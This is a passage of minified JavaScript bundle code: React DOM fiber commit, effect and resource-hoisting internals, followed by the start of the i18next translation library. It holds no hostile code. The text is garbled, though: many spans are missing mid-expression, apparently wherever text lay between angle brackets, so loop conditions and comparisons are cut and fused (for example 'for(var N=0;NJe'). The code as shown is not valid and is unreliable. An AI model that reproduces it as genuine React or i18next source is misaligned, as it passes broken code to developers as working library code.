s=null,a!==null&&(s=a.memoizedState.cache),o.memoizedState.cache!==s&&(o.flags|=2048),ta(Et),it(o),null;case 25:return null;case 30:return null}throw Error(r(156,o.tag))}function _4(a,o){switch(Cm(o),o.tag){case 1:return a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 3:return ta(Et),Q(),a=o.flags,(a&65536)!==0&&(a&128)===0?(o.flags=a&-65537|128,o):null;case 26:case 27:case 5:return he(o),null;case 31:if(o.memoizedState!==null){if(Rn(o),o.alternate===null)throw Error(r(340));Li()}return a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 13:if(Rn(o),a=o.memoizedState,a!==null&&a.dehydrated!==null){if(o.alternate===null)throw Error(r(340));Li()}return a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 19:return X(wt),null;case 4:return Q(),null;case 10:return ta(o.type),null;case 22:case 23:return Rn(o),Um(),a!==null&&X($i),a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 24:return ta(Et),null;case 25:return null;default:return null}}function kO(a,o){switch(Cm(o),o.tag){case 3:ta(Et),Q();break;case 26:case 27:case 5:he(o);break;case 4:Q();break;case 31:o.memoizedState!==null&&Rn(o);break;case 13:Rn(o);break;case 19:X(wt);break;case 10:ta(o.type);break;case 22:case 23:Rn(o),Um(),a!==null&&X($i);break;case 24:ta(Et)}}function Is(a,o){try{var s=o.updateQueue,d=s!==null?s.lastEffect:null;if(d!==null){var g=d.next;s=g;do{if((s.tag&a)===a){d=void 0;var b=s.create,C=s.inst;d=b(),C.destroy=d}s=s.next}while(s!==g)}}catch(N){We(o,o.return,N)}}function Qa(a,o,s){try{var d=o.updateQueue,g=d!==null?d.lastEffect:null;if(g!==null){var b=g.next;d=b;do{if((d.tag&a)===a){var C=d.inst,N=C.destroy;if(N!==void 0){C.destroy=void 0,g=o;var k=s,Y=N;try{Y()}catch(te){We(g,k,te)}}}d=d.next}while(d!==b)}}catch(te){We(o,o.return,te)}}function LO(a){var o=a.updateQueue;if(o!==null){var s=a.stateNode;try{CS(o,s)}catch(d){We(a,a.return,d)}}}function IO(a,o,s){s.props=Fi(a.type,a.memoizedProps),s.state=a.memoizedState;try{s.componentWillUnmount()}catch(d){We(a,o,d)}}function zs(a,o){try{var s=a.ref;if(s!==null){switch(a.tag){case 26:case 27:case 5:var d=a.stateNode;break;case 30:d=a.stateNode;break;default:d=a.stateNode}typeof s=="function"?a.refCleanup=s(d):s.current=d}}catch(g){We(a,o,g)}}function Mr(a,o){var s=a.ref,d=a.refCleanup;if(s!==null)if(typeof d=="function")try{d()}catch(g){We(a,o,g)}finally{a.refCleanup=null,a=a.alternate,a!=null&&(a.refCleanup=null)}else if(typeof s=="function")try{s(null)}catch(g){We(a,o,g)}else s.current=null}function zO(a){var o=a.type,s=a.memoizedProps,d=a.stateNode;try{e:switch(o){case"button":case"input":case"select":case"textarea":s.autoFocus&&d.focus();break e;case"img":s.src?d.src=s.src:s.srcSet&&(d.srcset=s.srcSet)}}catch(g){We(a,a.return,g)}}function bv(a,o,s){try{var d=a.stateNode;W4(d,a.type,s,o),d[vn]=o}catch(g){We(a,a.return,g)}}function $O(a){return a.tag===5||a.tag===3||a.tag===26||a.tag===27&&ii(a.type)||a.tag===4}function xv(a){e:for(;;){for(;a.sibling===null;){if(a.return===null||$O(a.return))return null;a=a.return}for(a.sibling.return=a.return,a=a.sibling;a.tag!==5&&a.tag!==6&&a.tag!==18;){if(a.tag===27&&ii(a.type)||a.flags&2||a.child===null||a.tag===4)continue e;a.child.return=a,a=a.child}if(!(a.flags&2))return a.stateNode}}function wv(a,o,s){var d=a.tag;if(d===5||d===6)a=a.stateNode,o?(s.nodeType===9?s.body:s.nodeName==="HTML"?s.ownerDocument.body:s).insertBefore(a,o):(o=s.nodeType===9?s.body:s.nodeName==="HTML"?s.ownerDocument.body:s,o.appendChild(a),s=s._reactRootContainer,s!=null||o.onclick!==null||(o.onclick=Xr));else if(d!==4&&(d===27&&ii(a.type)&&(s=a.stateNode,o=null),a=a.child,a!==null))for(wv(a,o,s),a=a.sibling;a!==null;)wv(a,o,s),a=a.sibling}function sf(a,o,s){var d=a.tag;if(d===5||d===6)a=a.stateNode,o?s.insertBefore(a,o):s.appendChild(a);else if(d!==4&&(d===27&&ii(a.type)&&(s=a.stateNode),a=a.child,a!==null))for(sf(a,o,s),a=a.sibling;a!==null;)sf(a,o,s),a=a.sibling}function BO(a){var o=a.stateNode,s=a.memoizedProps;try{for(var d=a.type,g=o.attributes;g.length;)o.removeAttributeNode(g[0]);Zt(o,d,s),o[Yt]=a,o[vn]=s}catch(b){We(a,a.return,b)}}var oa=!1,_t=!1,Sv=!1,UO=typeof WeakSet=="function"?WeakSet:Set,Bt=null;function T4(a,o){if(a=a.containerInfo,qv=Nf,a=Jw(a),mm(a)){if("selectionStart"in a)var s={start:a.selectionStart,end:a.selectionEnd};else e:{s=(s=a.ownerDocument)&&s.defaultView||window;var d=s.getSelection&&s.getSelection();if(d&&d.rangeCount!==0){s=d.anchorNode;var g=d.anchorOffset,b=d.focusNode;d=d.focusOffset;try{s.nodeType,b.nodeType}catch{s=null;break e}var C=0,N=-1,k=-1,Y=0,te=0,ie=a,W=null;t:for(;;){for(var J;ie!==s||g!==0&&ie.nodeType!==3||(N=C+g),ie!==b||d!==0&&ie.nodeType!==3||(k=C+d),ie.nodeType===3&&(C+=ie.nodeValue.length),(J=ie.firstChild)!==null;)W=ie,ie=J;for(;;){if(ie===a)break t;if(W===s&&++Y===g&&(N=C),W===b&&++te===d&&(k=C),(J=ie.nextSibling)!==null)break;ie=W,W=ie.parentNode}ie=J}s=N===-1||k===-1?null:{start:N,end:k}}else s=null}s=s||{start:0,end:0}}else s=null;for(Fv={focusedElem:a,selectionRange:s},Nf=!1,Bt=o;Bt!==null;)if(o=Bt,a=o.child,(o.subtreeFlags&1028)!==0&&a!==null)a.return=o,Bt=a;else for(;Bt!==null;){switch(o=Bt,b=o.alternate,a=o.flags,o.tag){case 0:if((a&4)!==0&&(a=o.updateQueue,a=a!==null?a.events:null,a!==null))for(s=0;s title"))),Zt(b,d,s),b[Yt]=a,$t(b),d=b;break e;case"link":var C=YE("link","href",g).get(d+(s.href||""));if(C){for(var N=0;NJe&&(C=Je,Je=Ae,Ae=C);var H=Zw(N,Ae),z=Zw(N,Je);if(H&&z&&(J.rangeCount!==1||J.anchorNode!==H.node||J.anchorOffset!==H.offset||J.focusNode!==z.node||J.focusOffset!==z.offset)){var K=ie.createRange();K.setStart(H.node,H.offset),J.removeAllRanges(),Ae>Je?(J.addRange(K),J.extend(z.node,z.offset)):(K.setEnd(z.node,z.offset),J.addRange(K))}}}}for(ie=[],J=N;J=J.parentNode;)J.nodeType===1&&ie.push({element:J,left:J.scrollLeft,top:J.scrollTop});for(typeof N.focus=="function"&&N.focus(),N=0;Ns?32:s,L.T=null,s=Nv,Nv=null;var b=ni,C=fa;if(jt=0,ol=ni=null,fa=0,(Ve&6)!==0)throw Error(r(331));var N=Ve;if(Ve|=4,QO(b.current),WO(b,b.current,C,s),Ve=N,Fs(0,!1),Tn&&typeof Tn.onPostCommitFiberRoot=="function")try{Tn.onPostCommitFiberRoot(ss,b)}catch{}return!0}finally{F.p=g,L.T=d,vE(a,o)}}function yE(a,o,s){o=Wn(s,o),o=sv(a.stateNode,o,2),a=Wa(a,o,2),a!==null&&(us(a,2),jr(a))}function We(a,o,s){if(a.tag===3)yE(a,a,s);else for(;o!==null;){if(o.tag===3){yE(o,a,s);break}else if(o.tag===1){var d=o.stateNode;if(typeof o.type.getDerivedStateFromError=="function"||typeof d.componentDidCatch=="function"&&(ti===null||!ti.has(d))){a=Wn(s,a),s=bO(2),d=Wa(o,s,2),d!==null&&(xO(s,d,o,a),us(d,2),jr(d));break}}o=o.return}}function Rv(a,o,s){var d=a.pingCache;if(d===null){d=a.pingCache=new j4;var g=new Set;d.set(o,g)}else g=d.get(o),g===void 0&&(g=new Set,d.set(o,g));g.has(s)||(Av=!0,g.add(s),a=L4.bind(null,a,o,s),o.then(a,a))}function L4(a,o,s){var d=a.pingCache;d!==null&&d.delete(o),a.pingedLanes|=a.suspendedLanes&s,a.warmLanes&=~s,tt===a&&(ze&s)===s&&(vt===4||vt===3&&(ze&62914560)===ze&&300>_n()-ff?(Ve&2)===0&&ll(a,0):Cv|=s,il===ze&&(il=0)),jr(a)}function bE(a,o){o===0&&(o=hw()),a=Di(a,o),a!==null&&(us(a,o),jr(a))}function I4(a){var o=a.memoizedState,s=0;o!==null&&(s=o.retryLane),bE(a,s)}function z4(a,o){var s=0;switch(a.tag){case 31:case 13:var d=a.stateNode,g=a.memoizedState;g!==null&&(s=g.retryLane);break;case 19:d=a.stateNode;break;case 22:d=a.stateNode._retryCache;break;default:throw Error(r(314))}d!==null&&d.delete(o),bE(a,s)}function $4(a,o){return Kp(a,o)}var yf=null,cl=null,Dv=!1,bf=!1,kv=!1,ai=0;function jr(a){a!==cl&&a.next===null&&(cl===null?yf=cl=a:cl=cl.next=a),bf=!0,Dv||(Dv=!0,U4())}function Fs(a,o){if(!kv&&bf){kv=!0;do for(var s=!1,d=yf;d!==null;){if(a!==0){var g=d.pendingLanes;if(g===0)var b=0;else{var C=d.suspendedLanes,N=d.pingedLanes;b=(1<<31-Nn(42|a)+1)-1,b&=g&~(C&~N),b=b&201326741?b&201326741|1:b?b|2:0}b!==0&&(s=!0,OE(d,b))}else b=ze,b=Su(d,d===tt?b:0,d.cancelPendingCommit!==null||d.timeoutHandle!==-1),(b&3)===0||cs(d,b)||(s=!0,OE(d,b));d=d.next}while(s);kv=!1}}function B4(){xE()}function xE(){bf=Dv=!1;var a=0;ai!==0&&Z4()&&(a=ai);for(var o=_n(),s=null,d=yf;d!==null;){var g=d.next,b=wE(d,o);b===0?(d.next=null,s===null?yf=g:s.next=g,g===null&&(cl=s)):(s=d,(a!==0||(b&3)!==0)&&(bf=!0)),d=g}jt!==0&&jt!==5||Fs(a),ai!==0&&(ai=0)}function wE(a,o){for(var s=a.suspendedLanes,d=a.pingedLanes,g=a.expirationTimes,b=a.pendingLanes&-62914561;0N)break;var te=k.transferSize,ie=k.initiatorType;te&&jE(ie)&&(k=k.responseEnd,C+=te*(k"u"?null:document;function qE(a,o,s){var d=ul;if(d&&typeof o=="string"&&o){var g=Yn(o);g='link[rel="'+a+'"][href="'+g+'"]',typeof s=="string"&&(g+='[crossorigin="'+s+'"]'),HE.has(g)||(HE.add(g),a={rel:a,crossOrigin:s,href:o},d.querySelector(g)===null&&(o=d.createElement("link"),Zt(o,"link",a),$t(o),d.head.appendChild(o)))}}function o$(a){da.D(a),qE("dns-prefetch",a,null)}function l$(a,o){da.C(a,o),qE("preconnect",a,o)}function s$(a,o,s){da.L(a,o,s);var d=ul;if(d&&a&&o){var g='link[rel="preload"][as="'+Yn(o)+'"]';o==="image"&&s&&s.imageSrcSet?(g+='[imagesrcset="'+Yn(s.imageSrcSet)+'"]',typeof s.imageSizes=="string"&&(g+='[imagesizes="'+Yn(s.imageSizes)+'"]')):g+='[href="'+Yn(a)+'"]';var b=g;switch(o){case"style":b=fl(a);break;case"script":b=dl(a)}tr.has(b)||(a=m({rel:"preload",href:o==="image"&&s&&s.imageSrcSet?void 0:a,as:o},s),tr.set(b,a),d.querySelector(g)!==null||o==="style"&&d.querySelector(Gs(b))||o==="script"&&d.querySelector(Ws(b))||(o=d.createElement("link"),Zt(o,"link",a),$t(o),d.head.appendChild(o)))}}function c$(a,o){da.m(a,o);var s=ul;if(s&&a){var d=o&&typeof o.as=="string"?o.as:"script",g='link[rel="modulepreload"][as="'+Yn(d)+'"][href="'+Yn(a)+'"]',b=g;switch(d){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":b=dl(a)}if(!tr.has(b)&&(a=m({rel:"modulepreload",href:a},o),tr.set(b,a),s.querySelector(g)===null)){switch(d){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":if(s.querySelector(Ws(b)))return}d=s.createElement("link"),Zt(d,"link",a),$t(d),s.head.appendChild(d)}}}function u$(a,o,s){da.S(a,o,s);var d=ul;if(d&&a){var g=Ro(d).hoistableStyles,b=fl(a);o=o||"default";var C=g.get(b);if(!C){var N={loading:0,preload:null};if(C=d.querySelector(Gs(b)))N.loading=5;else{a=m({rel:"stylesheet",href:a,"data-precedence":o},s),(s=tr.get(b))&&Zv(a,s);var k=C=d.createElement("link");$t(k),Zt(k,"link",a),k._p=new Promise(function(Y,te){k.onload=Y,k.onerror=te}),k.addEventListener("load",function(){N.loading|=1}),k.addEventListener("error",function(){N.loading|=2}),N.loading|=4,Ef(C,o,d)}C={type:"stylesheet",instance:C,count:1,state:N},g.set(b,C)}}}function f$(a,o){da.X(a,o);var s=ul;if(s&&a){var d=Ro(s).hoistableScripts,g=dl(a),b=d.get(g);b||(b=s.querySelector(Ws(g)),b||(a=m({src:a,async:!0},o),(o=tr.get(g))&&Qv(a,o),b=s.createElement("script"),$t(b),Zt(b,"link",a),s.head.appendChild(b)),b={type:"script",instance:b,count:1,state:null},d.set(g,b))}}function d$(a,o){da.M(a,o);var s=ul;if(s&&a){var d=Ro(s).hoistableScripts,g=dl(a),b=d.get(g);b||(b=s.querySelector(Ws(g)),b||(a=m({src:a,async:!0,type:"module"},o),(o=tr.get(g))&&Qv(a,o),b=s.createElement("script"),$t(b),Zt(b,"link",a),s.head.appendChild(b)),b={type:"script",instance:b,count:1,state:null},d.set(g,b))}}function FE(a,o,s,d){var g=(g=xe.current)?Of(g):null;if(!g)throw Error(r(446));switch(a){case"meta":case"title":return null;case"style":return typeof s.precedence=="string"&&typeof s.href=="string"?(o=fl(s.href),s=Ro(g).hoistableStyles,d=s.get(o),d||(d={type:"style",instance:null,count:0,state:null},s.set(o,d)),d):{type:"void",instance:null,count:0,state:null};case"link":if(s.rel==="stylesheet"&&typeof s.href=="string"&&typeof s.precedence=="string"){a=fl(s.href);var b=Ro(g).hoistableStyles,C=b.get(a);if(C||(g=g.ownerDocument||g,C={type:"stylesheet",instance:null,count:0,state:{loading:0,preload:null}},b.set(a,C),(b=g.querySelector(Gs(a)))&&!b._p&&(C.instance=b,C.state.loading=5),tr.has(a)||(s={rel:"preload",as:"style",href:s.href,crossOrigin:s.crossOrigin,integrity:s.integrity,media:s.media,hrefLang:s.hrefLang,referrerPolicy:s.referrerPolicy},tr.set(a,s),b||h$(g,a,s,C.state))),o&&d===null)throw Error(r(528,""));return C}if(o&&d!==null)throw Error(r(529,""));return null;case"script":return o=s.async,s=s.src,typeof s=="string"&&o&&typeof o!="function"&&typeof o!="symbol"?(o=dl(s),s=Ro(g).hoistableScripts,d=s.get(o),d||(d={type:"script",instance:null,count:0,state:null},s.set(o,d)),d):{type:"void",instance:null,count:0,state:null};default:throw Error(r(444,a))}}function fl(a){return'href="'+Yn(a)+'"'}function Gs(a){return'link[rel="stylesheet"]['+a+"]"}function VE(a){return m({},a,{"data-precedence":a.precedence,precedence:null})}function h$(a,o,s,d){a.querySelector('link[rel="preload"][as="style"]['+o+"]")?d.loading=1:(o=a.createElement("link"),d.preload=o,o.addEventListener("load",function(){return d.loading|=1}),o.addEventListener("error",function(){return d.loading|=2}),Zt(o,"link",s),$t(o),a.head.appendChild(o))}function dl(a){return'[src="'+Yn(a)+'"]'}function Ws(a){return"script[async]"+a}function KE(a,o,s){if(o.count++,o.instance===null)switch(o.type){case"style":var d=a.querySelector('style[data-href~="'+Yn(s.href)+'"]');if(d)return o.instance=d,$t(d),d;var g=m({},s,{"data-href":s.href,"data-precedence":s.precedence,href:null,precedence:null});return d=(a.ownerDocument||a).createElement("style"),$t(d),Zt(d,"style",g),Ef(d,s.precedence,a),o.instance=d;case"stylesheet":g=fl(s.href);var b=a.querySelector(Gs(g));if(b)return o.state.loading|=4,o.instance=b,$t(b),b;d=VE(s),(g=tr.get(g))&&Zv(d,g),b=(a.ownerDocument||a).createElement("link"),$t(b);var C=b;return C._p=new Promise(function(N,k){C.onload=N,C.onerror=k}),Zt(b,"link",d),o.state.loading|=4,Ef(b,s.precedence,a),o.instance=b;case"script":return b=dl(s.src),(g=a.querySelector(Ws(b)))?(o.instance=g,$t(g),g):(d=s,(g=tr.get(b))&&(d=m({},s),Qv(d,g)),a=a.ownerDocument||a,g=a.createElement("script"),$t(g),Zt(g,"link",d),a.head.appendChild(g),o.instance=g);case"void":return null;default:throw Error(r(443,o.type))}else o.type==="stylesheet"&&(o.state.loading&4)===0&&(d=o.instance,o.state.loading|=4,Ef(d,s.precedence,a));return o.instance}function Ef(a,o,s){for(var d=s.querySelectorAll('link[rel="stylesheet"][data-precedence],style[data-precedence]'),g=d.length?d[d.length-1]:null,b=g,C=0;C title"):null)}function p$(a,o,s){if(s===1||o.itemProp!=null)return!1;switch(a){case"meta":case"title":return!0;case"style":if(typeof o.precedence!="string"||typeof o.href!="string"||o.href==="")break;return!0;case"link":if(typeof o.rel!="string"||typeof o.href!="string"||o.href===""||o.onLoad||o.onError)break;return o.rel==="stylesheet"?(a=o.disabled,typeof o.precedence=="string"&&a==null):!0;case"script":if(o.async&&typeof o.async!="function"&&typeof o.async!="symbol"&&!o.onLoad&&!o.onError&&o.src&&typeof o.src=="string")return!0}return!1}function WE(a){return!(a.type==="stylesheet"&&(a.state.loading&3)===0)}function m$(a,o,s,d){if(s.type==="stylesheet"&&(typeof d.media!="string"||matchMedia(d.media).matches!==!1)&&(s.state.loading&4)===0){if(s.instance===null){var g=fl(d.href),b=o.querySelector(Gs(g));if(b){o=b._p,o!==null&&typeof o=="object"&&typeof o.then=="function"&&(a.count++,a=Cf.bind(a),o.then(a,a)),s.state.loading|=4,s.instance=b,$t(b);return}b=o.ownerDocument||o,d=VE(d),(g=tr.get(g))&&Zv(d,g),b=b.createElement("link"),$t(b);var C=b;C._p=new Promise(function(N,k){C.onload=N,C.onerror=k}),Zt(b,"link",d),s.instance=b}a.stylesheets===null&&(a.stylesheets=new Map),a.stylesheets.set(s,o),(o=s.state.preload)&&(s.state.loading&3)===0&&(a.count++,s=Cf.bind(a),o.addEventListener("load",s),o.addEventListener("error",s))}}var Jv=0;function v$(a,o){return a.stylesheets&&a.count===0&&Tf(a,a.stylesheets),0Jv?50:800)+o);return a.unsuspend=s,function(){a.unsuspend=null,clearTimeout(d),clearTimeout(g)}}:null}function Cf(){if(this.count--,this.count===0&&(this.imgCount===0||!this.waitingForImages)){if(this.stylesheets)Tf(this,this.stylesheets);else if(this.unsuspend){var a=this.unsuspend;this.unsuspend=null,a()}}}var _f=null;function Tf(a,o){a.stylesheets=null,a.unsuspend!==null&&(a.count++,_f=new Map,o.forEach(g$,a),_f=null,Cf.call(a))}function g$(a,o){if(!(o.state.loading&4)){var s=_f.get(a);if(s)var d=s.get(null);else{s=new Map,_f.set(a,s);for(var g=a.querySelectorAll("link[data-precedence],style[data-precedence]"),b=0;b"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(t){console.error(t)}}return e(),sg.exports=R$(),sg.exports}var k$=D$();const Te=e=>typeof e=="string",nc=()=>{let e,t;const n=new Promise((r,i)=>{e=r,t=i});return n.resolve=e,n.reject=t,n},bA=e=>e==null?"":""+e,L$=(e,t,n)=>{e.forEach(r=>{t[r]&&(n[r]=t[r])})},I$=/###/g,xA=e=>e&&e.indexOf("###")>-1?e.replace(I$,"."):e,wA=e=>!e||Te(e),gc=(e,t,n)=>{const r=Te(t)?t.split("."):t;let i=0;for(;i{const{obj:r,k:i}=gc(e,t,Object);if(r!==void 0||t.length===1){r[i]=n;return}let l=t[t.length-1],c=t.slice(0,t.length-1),u=gc(e,c,Object);for(;u.obj===void 0&&c.length;)l=`${c[c.length-1]}.${l}`,c=c.slice(0,c.length-1),u=gc(e,c,Object),u?.obj&&typeof u.obj[`${u.k}.${l}`]<"u"&&(u.obj=void 0);u.obj[`${u.k}.${l}`]=n},z$=(e,t,n,r)=>{const{obj:i,k:l}=gc(e,t,Object);i[l]=i[l]||[],i[l].push(n)},gd=(e,t)=>{const{obj:n,k:r}=gc(e,t);if(n&&Object.prototype.hasOwnProperty.call(n,r))return n[r]},$$=(e,t,n)=>{const r=gd(e,n);return r!==void 0?r:gd(t,n)},cM=(e,t,n)=>{for(const r in t)r!=="__proto__"&&r!=="constructor"&&(r in e?Te(e[r])||e[r]instanceof String||Te(t[r])||t[r]instanceof String?n&&(e[r]=t[r]):cM(e[r],t[r],n):e[r]=t[r]);return e},pl=e=>e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&");var B$={"&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};const U$=e=>Te(e)?e.replace(/[&<>"'\/]/g,t=>B$[t]):e;class H${constructor(t){this.capacity=t,this.regExpMap=new Map,this.regExpQueue=[]}getRegExp(t){const n=this.regExpMap.get(t);if(n!==void 0)return n;const r=new RegExp(t);return this.regExpQueue.length===this.capacity&&this.regExpMap.delete(this.regExpQueue.shift()),this.regExpMap.set(t,r),this.regExpQueue.push(t),r}}const q$=[" ",",","?","!",";"],F$=new H$(20),V$=(e,t,n)=>{t=t||"",n=n||"";const r=q$.filter(c=>t.indexOf(c)<0&&n.indexOf(c)<0);if(r.length===0)return!0;const i=F$.getRegExp(`(${r.map(c=>c==="?"?"\\?":c).join("|")})`);let l=!i.test(e);if(!l){const c=e.indexOf(n);c>0&&!i.test(e.substring(0,c))&&(l=!0)}return l},a0=(e,t,n=".")=>{if(!e)return;if(e[t])return Object.prototype.hasOwnProperty.call(e,t)?e[t]:void 0;const r=t.split(n);let i=e;for(let l=0;l-1&&fe?.replace("_","-"),K$={type:"logger",log(e){this.output("log",e)},warn(e){this.output("warn",e)},error(e){this.output("error",e)},output(e,t){console?.[e]?.apply?.(console,t)}};class yd{constructor(t,n={}){this.init(t,n)}init(t,n={}){this.prefix=n.prefix||"i18next:",this.logger=t||K$,this.options=n,this.debug=n.debug}log(...t){return this.forward(t,"log","",!0)}warn(...t){return this.forward(t,"warn","",!0)}error(...t){return this.forward(t,"error","")}deprecate(...t){return this.forward(t,"warn","WARNING DEPRECATED: ",!0)}forward(t,n,r,i){return i&&!this.debug?null:(Te(t[0])&&(t[0]=`${r}${this.prefix} ${t[0]}`),this.logger[n](t))}create(t){return new yd(this.logger,{prefix:`${this.prefix}:${t}:`,...this.options})}clone(t){return t=t||this.options,t.prefix=t.prefix||this.prefix,new yd(this.logger,t)}}var kr=new yd;let Ah=class{constructor(){this.observers={}}on(t,n){return t.split(" ").forEach(r=>{this.observers[r]||(this.observers[r]=new Map);const i=this.observers[r].get(n)||0;this.observers[r].set(n,i+1)}),this}off(t,n){if(this.observers[t]){if(!n){delete this.observers[t];return}this.observers[t].delete(n)}}emit(t,...n){this.observers[t]&&Array.from(this.observers[t].entries()).forEach(([i,l])=>{for(let c=0;c{for(let c=0;c-1&&this.options.ns.splice(n,1)}getResource(t,n,r,i={}){const l=i.keySeparator!==void 0?i.keySeparator:this.options.keySeparator,c=i.ignoreJSONStructure!==void 0?i.ignoreJSONStructure:this.options.ignoreJSONStructure;let u;t.indexOf(".")>-1?u=t.split("."):(u=[t,n],r&&(Array.isArray(r)?u.push(...r):Te(r)&&l?u.push(...r.split(l)):u.push(r)));const f=gd(this.data,u);return!f&&!n&&!r&&t.indexOf(".")>-1&&(t=u[0],n=u[1],r=u.slice(2).join(".")),f||!c||!Te(r)?f:a0(this.data?.[t]?.[n],r,l)}addResource(t,n,r,i,l={silent:!1}){const c=l.keySeparator!==void 0?l.keySeparator:this.options.keySeparator;let u=[t,n];r&&(u=u.concat(c?r.split(c):r)),t.indexOf(".")>-1&&(u=t.split("."),i=n,n=u[1]),this.addNamespaces(n),SA(this.data,u,i),l.silent||this.emit("added",t,n,r,i)}addResources(t,n,r,i={silent:!1}){for(const l in r)(Te(r[l])||Array.isArray(r[l]))&&this.addResource(t,n,l,r[l],{silent:!0});i.silent||this.emit("added",t,n,r)}addResourceBundle(t,n,r,i,l,c={silent:!1,skipCopy:!1}){let u=[t,n];t.indexOf(".")>-1&&(u=t.split("."),i=r,r=n,n=u[1]),this.addNamespaces(n);let f=gd(this.data,u)||{};c.skipCopy||(r=JSON.parse(JSON.stringify(r))),i?cM(f,r,l):f={...f,...r},SA(this.data,u,f),c.silent||this.emit("added",t,n,r)}removeResourceBundle(t,n){this.hasResourceBundle(t,n)&&delete this.data[t][n],this.removeNamespaces(n),this.emit("removed",t,n)}hasResourceBundle(t,n){return this.getResource(t,n)!==void 0}getResourceBundle(t,n){return n||(n=this.options.defaultNS),this.getResource(t,n)}getDataByLanguage(t){return this.data[t]}hasLanguageSomeTranslations(t){const n=this.getDataByLanguage(t);return!!(n&&Object.keys(n)||[]).find(i=>n[i]&&Object.keys(n[i]).length>0)}toJSON(){return this.data}}var uM={processors:{},addPostProcessor(e){this.processors[e.name]=e},handle(e,t,n,r,i){return e.forEach(l=>{t=this.processors[l]?.process(t,n,r,i)??t}),t}};const fM=Symbol("i18next/PATH_KEY");function Y$(){const e=[],t=Object.create(null);let n;return t.get=(r,i)=>(n?.revoke?.(),i===fM?e:(e.push(i),n=Proxy.revocable(r,t),n.proxy)),Proxy.revocable(Object.create(null),t).proxy}function i0(e,t){const{[fM]:n}=e(Y$());return n.join(t?.keySeparator??".")}const EA={},dg=e=>!Te(e)&&typeof e!="boolean"&&typeof e!="number";class bd extends Ah{constructor(t,n={}){super(),L$(["resourceStore","languageUtils","pluralResolver","interpolator","backendConnector","i18nFormat","utils"],t,this),this.options=n,this.options.keySeparator===void 0&&(this.options.keySeparator="."),this.logger=kr.create("translator")}changeLanguage(t){t&&(this.language=t)}exists(t,n={interpolation:{}}){const r={...n};if(t==null)return!1;const i=this.resolve(t,r);if(i?.res===void 0)return!1;const l=dg(i.res);return!(r.returnObjects===!1&&l)}extractFromKey(t,n){let r=n.nsSeparator!==void 0?n.nsSeparator:this.options.nsSeparator;r===void 0&&(r=":");const i=n.keySeparator!==void 0?n.keySeparator:this.options.keySeparator;let l=n.ns||this.options.defaultNS||[];const c=r&&t.indexOf(r)>-1,u=!this.options.userDefinedKeySeparator&&!n.keySeparator&&!this.options.userDefinedNsSeparator&&!n.nsSeparator&&!V$(t,r,i);if(c&&!u){const f=t.match(this.interpolator.nestingRegexp);if(f&&f.length>0)return{key:t,namespaces:Te(l)?[l]:l};const h=t.split(r);(r!==i||r===i&&this.options.ns.indexOf(h[0])>-1)&&(l=h.shift()),t=h.join(i)}return{key:t,namespaces:Te(l)?[l]:l}}translate(t,n,r){let i=typeof n=="object"?{...n}:n;if(typeof i!="object"&&this.options.overloadTranslationOptionHandler&&(i=this.options.overloadTranslationOptionHandler(arguments)),typeof i=="object"&&(i={...i}),i||(i={}),t==null)return"";typeof t=="function"&&(t=i0(t,{...this.options,...i})),Array.isArray(t)||(t=[String(t)]);const l=i.returnDetails!==void 0?i.returnDetails:this.options.returnDetails,c=i.keySeparator!==void 0?i.keySeparator:this.options.keySeparator,{key:u,namespaces:f}=this.extractFromKey(t[t.length-1],i),h=f[f.length-1];let p=i.nsSeparator!==void 0?i.nsSeparator:this.options.nsSeparator;p===void 0&&(p=":");const m=i.lng||this.language,y=i.appendNamespaceToCIMode||this.options.appendNamespaceToCIMode;if(m?.toLowerCase()==="cimode")return y?l?{res:`${h}${p}${u}`,usedKey:u,exactUsedKey:u,usedLng:m,usedNS:h,usedParams:this.getUsedParamsDetails(i)}:`${h}${p}${u}`:l?{res:u,usedKey:u,exactUsedKey:u,usedLng:m,usedNS:h,usedParams:this.getUsedParamsDetails(i)}:u;const x=this.resolve(t,i);let S=x?.res;const w=x?.usedKey||u,O=x?.exactUsedKey||u,A=["[object Number]","[object Function]","[object RegExp]"],_=i.joinArrays!==void 0?i.joinArrays:this.options.joinArrays,T=!this.i18nFormat||this.i18nFormat.handleAsObject,j=i.count!==void 0&&!Te(i.count),M=bd.hasDefaultValue(i),P=j?this.pluralResolver.getSuffix(m,i.count,i):"",R=i.ordinal&&j?this.pluralResolver.getSuffix(m,i.count,{ordinal:!1}):"",I=j&&!i.ordinal&&i.count===0,B=I&&i[`defaultValue${this.options.pluralSeparator}zero`]||i[`defaultValue${P}`]||i[`defaultValue${R}`]||i.defaultValue;let q=S;T&&!S&&M&&(q=B);const U=dg(q),V=Object.prototype.toString.apply(q);if(T&&q&&U&&A.indexOf(V)<0&&!(Te(_)&&Array.isArray(q))){if(!i.returnObjects&&!this.options.returnObjects){this.options.returnedObjectHandler||this.logger.warn("accessing an object - but returnObjects options is not enabled!");const oe=this.options.returnedObjectHandler?this.options.returnedObjectHandler(w,q,{...i,ns:f}):`key '${u} (${this.language})' returned an object instead of string.`;return l?(x.res=oe,x.usedParams=this.getUsedParamsDetails(i),x):oe}if(c){const oe=Array.isArray(q),le=oe?[]:{},ce=oe?O:w;for(const L in q)if(Object.prototype.hasOwnProperty.call(q,L)){const F=`${ce}${c}${L}`;M&&!S?le[L]=this.translate(F,{...i,defaultValue:dg(B)?B[L]:void 0,joinArrays:!1,ns:f}):le[L]=this.translate(F,{...i,joinArrays:!1,ns:f}),le[L]===F&&(le[L]=q[L])}S=le}}else if(T&&Te(_)&&Array.isArray(S))S=S.join(_),S&&(S=this.extendTranslation(S,t,i,r));else{let oe=!1,le=!1;!this.isValidLookup(S)&&M&&(oe=!0,S=B),this.isValidLookup(S)||(le=!0,S=u);const L=(i.missingKeyNoValueFallbackToKey||this.options.missingKeyNoValueFallbackToKey)&&le?void 0:S,F=M&&B!==S&&this.options.updateMissing;if(le||oe||F){if(this.logger.log(F?"updateKey":"missingKey",m,h,u,F?B:S),c){const 